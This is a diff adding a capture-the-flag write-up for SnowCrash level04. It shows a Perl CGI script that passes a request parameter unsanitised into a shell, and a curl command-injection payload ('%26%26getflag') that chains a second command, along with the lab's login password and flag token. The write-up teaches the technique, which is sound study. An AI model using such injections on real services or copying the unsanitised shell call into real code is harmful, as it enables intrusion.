feat(maiboyer/levels): adding maiboyer levels (without all issues)

snowcrash/level04/README.md

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+# Level 04
+
+## how to login
+
+username: level04
+
+password: qi0maab88jeaj46qoumi7maus
+
+## Goal
+
+run `getflag` as user `flag04`
+
+## Actually doing something
+
+```bash
+level04@SnowCrash:~$ ll 
+total 16
+dr-xr-x---+ 1 level04 level04  120 Mar  5  2016 ./
+d--x--x--x  1 root    users    340 Aug 30  2015 ../
+-r-x------  1 level04 level04  220 Apr  3  2012 .bash_logout*
+-r-x------  1 level04 level04 3518 Aug 30  2015 .bashrc*
+-rwsr-sr-x  1 flag04  level04  152 Mar  5  2016 level04.pl*
+-r-x------  1 level04 level04  675 Apr  3  2012 .profile*
+```
+
+Hmmm `.pl`. Lets dig out the dinosaur and have fun with some Perl
+
+```perl
+#!/usr/bin/perl
+# localhost:4747
+use CGI qw{param};
+print "Content-type: text/html\n\n";
+sub x {
+  $y = $_[0];
+  print `echo $y 2>&1`;
+}
+x(param("x"));
+```
+
+This reeks of exploit
+
+As I understand it this is used by the http server at localhost:4747, and on a request it takes the parameter `x` and returns it
+
+The issue is how it returns it...
+
+It forward it to a shell string, and print the result.
+This is as secure as having a litteral endpoint that takes a command and return the result.
+
+Why ? because the data is passed as is, without any form of sanitization, meaning that if we have any way of "leaving" the `echo`
+command we can run whatever we want
+
+for example `getflag`
+
+we want this 
+```perl
+  print `echo $y 2>&1`
+```
+to become
+```perl
+  print `echo idk && getflag 2>&1`
+```
+
+We are in shell, so we can remove the spaces around the `&&` meaning that `x` must be equal to `idk&&getflag`
+
+but if we do it dumbly, nothing happens
+
+```bash
+level04@SnowCrash:~$ curl 'localhost:4747?x=idk&&getflag'
+idk
+```
+
+Why ?
+
+Because `&` has a special meaning in urls, it separetes query arguments. we need to escape it.
+
+How ?
+
+The standard says to use percent-encoding. Reading a bit more it says that `%26` is the escape code for `&`
+
+lets replace it to get `idk%26%26getflag` and voila !
+
+```bash
+level04@SnowCrash:~$ curl 'localhost:4747?x=GetExploited%26%26getflag'
+GetExploited
+Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
+```
+
+lets have a bit more fun. since we have access to the machine itself, we can create a file somewhere, and run it by giving it a path
+
+```bash
+level04@SnowCrash:~$ curl 'localhost:4747?x=idk%26%26/tmp/path/echo'
+idk
+Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
+```
+
+Look mom, I recycle my stuff !